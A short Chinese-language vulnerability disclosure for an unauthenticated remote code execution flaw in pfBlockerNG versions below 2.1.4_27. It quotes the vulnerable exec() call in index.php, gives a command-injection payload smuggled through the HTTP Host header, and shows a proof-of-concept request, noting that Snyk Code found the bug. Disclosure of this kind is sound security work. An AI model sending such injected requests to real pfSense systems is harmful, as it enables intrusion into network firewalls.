pfBlockerNG 是 pfBlocker 的下一代版本,具有以下功能:
https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
pfBlockerNg <2.1.4_27
未经验证的远程代码执行(RCE)
index.php 中 TLD Block 部分的查询将来自 HEADER Host 源的未经过净化/转义的用户输入 d_query 传入了 PHP exec 函数接收器。
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
/pfblockerng/www/index.php
// Query for a TLD Block
if (empty($pfb_query)) {
$idparts = explode('.', $query);
$idcnt = (count($idparts) -1);
for ($i=1; $i <= $idcnt; $i++) {
$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
if (!empty($match[0])) {
$pfb_query = 'DNSBL_TLD';
break;
}
}
}
需要 HTTP 访问 pfsense Web 控制台
示例载荷:' *; sleep 5; '
POC 请求:
GET /pfblockerng/www/index.php HTTP/1.1
Host: test.test2' *; sleep 5; '
Content-Length: 2
我喜爱 pfBlockerNg,并受到 Di r00t 最近发布的 CVE-2022-31814 及其精彩文章 https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ 的启发,同时好奇 Snyk 静态应用安全测试(SAST)工具是否能检测出该漏洞。因此我下载了相应的 index.php 2.1.4_26 版本文件,并对其运行了 Snyk Code。果然,Snyk 检测到了该漏洞,并且在仅几行之后还报告了另一个类似问题。